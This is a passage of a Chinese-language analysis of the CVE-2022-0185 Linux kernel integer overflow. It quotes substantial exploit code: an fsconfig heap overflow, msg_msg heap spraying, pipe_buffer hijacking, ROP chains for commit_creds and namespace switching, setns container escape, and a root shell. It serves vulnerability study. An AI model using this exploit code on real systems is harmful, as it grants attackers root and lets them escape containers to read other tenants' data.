接著,釋放 4k msg_msg 并堆噴1k msg_msg 以篡改被釋放的 pipe_buffer :
4-3 ROP 構(gòu)造并提權(quán)
ROP位置:關(guān)閉 pipefd 就能觸發(fā)執(zhí)行 stack pivot,但此時(shí)發(fā)現(xiàn)沒(méi)有寄存器指向 kmalloc-512 內(nèi)部,RAX指向 pipe_buffer 開(kāi)頭(kmalloc-1k),這意味著我們要在 pipe_buffer 上布置 ROP chain,我們的 stack pivot 需要將rsp改成rax。
可用的 gadget:
- mov rsp, rax ; pop rbp ; ret; —— stack pivot
- pop rdi ; ret ;
- pop rsi ; ret ;
- test esi, esi ; cmovne rdi, rax ; mov rax, qword [rdi] ; pop rbp ; ret ; —— rdi = rax
ROP構(gòu)造:ROP鏈的目標(biāo)是擁有root namespace 中的root權(quán)限,可直接利用 CVE-2021-22555 中的ROP chain來(lái)執(zhí)行 commit_cred(prepare_kernel_cred(NULL)) 和 switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) ,最后調(diào)用 swapgs_and_return_to_userspace 返回用戶空間,最后執(zhí)行常規(guī)的容器逃逸步驟( setns tricks )。
以下代碼能夠提權(quán)和容器逃逸:
void dump_flag() {char buf[200] = {0};for (int i = 0; i < 4194304; i++) {// bruteforce root namespace pid equivalent of the other container's sleep processsnprintf(buf, sizeof(buf), "/proc/%d/root/flag/flag", i);int fd = open(buf, O_RDONLY);if (fd < 0) {continue;}puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");read(fd, buf, 100);write(1, buf, 100);puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");close(fd);}return; }__attribute__((naked)) win() {// thanks movaps sooooooo muchasm volatile("mov rbp, rsp;""and rsp, -0xf;""call dump_flag;""mov rsp, rbp;""ret;"); }void pwned() {write(1, "ROOOOOOOOOOOT\n", 14);setns(open("/proc/1/ns/mnt", O_RDONLY), 0);setns(open("/proc/1/ns/pid", O_RDONLY), 0);setns(open("/proc/1/ns/net", O_RDONLY), 0);win();char *args[] = {"/bin/sh", NULL};execve("/bin/sh", args, NULL);_exit(0); }void do_win(uint64_t kmalloc_512, uint64_t kmalloc_1024) {int size = 0x1000;int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);char buffer[0x2000] = {0}, recieved[0x2000] = {0};char pat[0x40] = {0};msg* message = (msg*)buffer;memset(buffer, 0x44, sizeof(buffer));int ready = 0;int ignition_target = -1;// doesn't matter as long as valid pointersuint64_t next_target = kmalloc_1024 + 0x440;uint64_t prev_target = kmalloc_512 + 0x440;// set up arb free primitive, avoid tripping hardened usercopy when re-alloc with msg_msguint64_t free_target = kmalloc_1024 - 0x20;uint64_t make_sec_happy = kmalloc_512 - 0x20;stuff_4k(16);int targets[P_SPRAY] = {0};while (!ready){for (int i = 0; i < P_SPRAY; i++) {memset(buffer, 0x41+i, sizeof(buffer));targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);send_msg(targets[i], message, size - 0x30, 0);}get_msg(targets[0], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);// misaligned arb free attackfd = fsopen("ext4", 0);if (fd < 0) {puts("Opening");exit(-1);}strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");for (int i = 0; i < 117; i++) {fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);}puts("[*] Done heap overflow");char evil[0x40] = {0};uint64_t *evil_ptr = (uint64_t *)evil;memset(evil, 0x41, 0x30);evil_ptr[0] = next_target;evil_ptr[1] = prev_target;evil_ptr[4] = free_target;evil_ptr[5] = make_sec_happy;// in case null bytes in addressesif(strlen(evil) != 0x30){puts("unable to continue given heap addresses");exit(-1);}puts("[*] Overflowing...");fsconfig(fd, FSCONFIG_SET_STRING, evil, "\x00", 0);puts("check heap to check preparedness for ignition");stuff_4k(16);for (int i = 0; i < P_SPRAY; i++){memset(recieved, 0, sizeof(recieved));// rely on error code to determine if we have found our target which we overflowed intoint ret = get_msg_no_err(targets[i], recieved, size+0x50-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);if (ret < 0){ready = 1;ignition_target = i;break;}}if (!ready){puts("nothing ready for ignition, trying again");// re-stuff freelist and stabilizestuff_4k(16);}}char overwrite[0x300] = {0};memset(overwrite, 0x41, sizeof(overwrite));uint64_t *overwrite_ptr = (uint64_t *)overwrite;// redirect to "table" of stack pivotsoverwrite_ptr[1] = kmalloc_512 + 0x50;uint64_t user_rflags, user_cs, user_ss, user_sp;asm volatile("mov %0, %%cs\n""mov %1, %%ss\n""mov %2, %%rsp\n""pushfq\n""pop %3\n": "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags));uint64_t chain[] = {pop_rdi,0,prepare_kernel_cred,pop_rsi,0xbaadbabe,cmov_rdi_rax_esi_nz_pop_rbp,0xdeadbeef,commit_creds,pop_rdi,1,find_task_by_vpid,pop_rsi,0xbaadbabe,cmov_rdi_rax_esi_nz_pop_rbp,0xdeadbeef,pop_rsi,init_nsproxy,switch_task_namespaces,kpti_trampoline,0xdeadbeef,0xbaadf00d,(uint64_t)pwned,user_cs,user_rflags,user_sp & 0xffffffffffffff00,user_ss,};memcpy(&overwrite_ptr[2], chain, sizeof(chain));for (int i = 0; i < P_SPRAY; i++){get_msg(targets[i], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR);}// spray rop chain plus evil vtable ptr to overlap with pipe_bufferfor (int i = 0; i < ROP_SPRAY; i++){send_msg(rop_msg_qid[i], overwrite, 0x300 - 0x30, 0);}deplete_512();deplete_4k();puts("[*] Attempt at igniting ROP!");// triggerfor (int i = 0; i < PIPES; i++){close(pipefd[i][0]);close(pipefd[i][1]);}}讀取flag:為了找到其他容器的flag,作者直接嘗試獲取 /proc/pid/root/flag/flag (暴搜pid)。
缺點(diǎn):需要三次觸發(fā)漏洞,堆噴不一定穩(wěn)定。
4-4 改進(jìn)exploit
劫持RIP時(shí)的上下文:在調(diào)用執(zhí)行 pipe_buffer->ops->release() 時(shí),我們的環(huán)境中是 RSI 指向 pipe_buffer。所以需要修改一下ROP鏈。主要參考 CVE-2021-22555 中用到的一個(gè) stack pivot gadget —— push rsi; jmp qword ptr [rsi + 0x39],這樣可以在 pipe_buffer+0x39 處放置一個(gè) pop rsp 來(lái)劫持棧。
完整ROP鏈:
void build_krop(char *buf) {uint64_t *rop;*(uint64_t *)&buf[0x39] = pop_rsp; *(uint64_t *)&buf[0x00] = add_rsp_0xd0; rop = (uint64_t *)&buf[0xD8];*rop++ = pop_rdi;*rop++ = 0;*rop++ = prepare_kernel_cred;*rop++ = mov_rdi_rax_pop_pop;*rop++ = 0xdeadbeef;*rop++ = 0xdeadbeef;*rop++ = commit_creds;*rop++ = pop_rdi;*rop++ = 1;*rop++ = find_task_by_vpid;*rop++ = mov_rdi_rax_pop_pop;*rop++ = 0xdeadbeef;*rop++ = 0xdeadbeef;*rop++ = pop_rsi;*rop++ = init_nsproxy;*rop++ = switch_task_namespaces;*rop++ = kpti_trampoline;*rop++ = 0xdeadbeef;*rop++ = 0xbaadf00d;*rop++ = (uint64_t)pwned;*rop++ = user_cs;*rop++ = user_rflags;*rop++ = user_sp & 0xffffffffffffff00;*rop++ = user_ss; }提權(quán)截圖:
注意:5.7 版本以后的內(nèi)核使得堆利用更穩(wěn)定了。如果 freelist pointer 在chunk的開(kāi)頭,堆噴成功率不超過(guò)50%,但是5.7版本以后將 freelist pointer 挪到 chunk中間( move the freelist pointer to the middle )以避免堆溢出的危害,這意味著只要堆溢出不會(huì)破壞重要的數(shù)據(jù)結(jié)構(gòu),我們可以在4k頁(yè)中溢出很長(zhǎng)也不會(huì)破壞堆狀態(tài)(msg_msg需要溢出覆蓋前0x30字節(jié)),便于泄露內(nèi)存和實(shí)現(xiàn)任意寫。
作者寫了兩個(gè)exp,一個(gè)用于Ubuntu 20.04 的提權(quán)——exploit_fuse.c(5.7以后版本都很好利用,-p提權(quán)),一個(gè)用于google的Kubernets集群的 KCTF環(huán)境——exploit_kctf.c 。
臨時(shí)防護(hù):Ubuntu中可以禁用命名空間
sysctl -w kernel.unprivileged_userns_clone=0PS:作者的第2種利用方法,需要觸發(fā)漏洞三次,可能導(dǎo)致堆噴不穩(wěn)定,結(jié)果發(fā)現(xiàn)提權(quán)很穩(wěn)定。可能是作者先申請(qǐng)了 4096 個(gè)位于 kmalloc-4096 的 msg_msg,然后每觸發(fā)一次都會(huì)釋放一部分 msg_msg—— 調(diào)用stuff_4k(16),只能說(shuō)作者太厲害了,這么嘗試的話我會(huì)崩潰的。。。可以改進(jìn)一下只觸發(fā)兩次漏洞完成提權(quán),一次泄露堆地址,一次用來(lái)構(gòu)造任意釋放,構(gòu)造兩塊重疊的 0x400 堆塊,用 SKB泄露pipe_buffer中的內(nèi)核基地址,然后利用SKB堆噴偽造 pipe_buffer 劫持控制流。
參考
CVE-2022-0185: A Case Study
CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google’s KCTF Containers
FUSE利用技術(shù) —— [slideshow](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019 - Exploiting race conditions on Linux.pdf) / FUSE technique
[漏洞分析] CVE-2022-0185 linux 內(nèi)核提權(quán)(逃逸)
CVE-2022-0185:Linux kernel bug可實(shí)現(xiàn)Kubernetes容器逃逸
總結(jié)
以上是生活随笔為你收集整理的CVE-2022-0185 价值$3w的 File System Context 内核整数溢出漏洞利用分析的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 日本上班族坐抗力球减臀
- 下一篇: 康复评定试题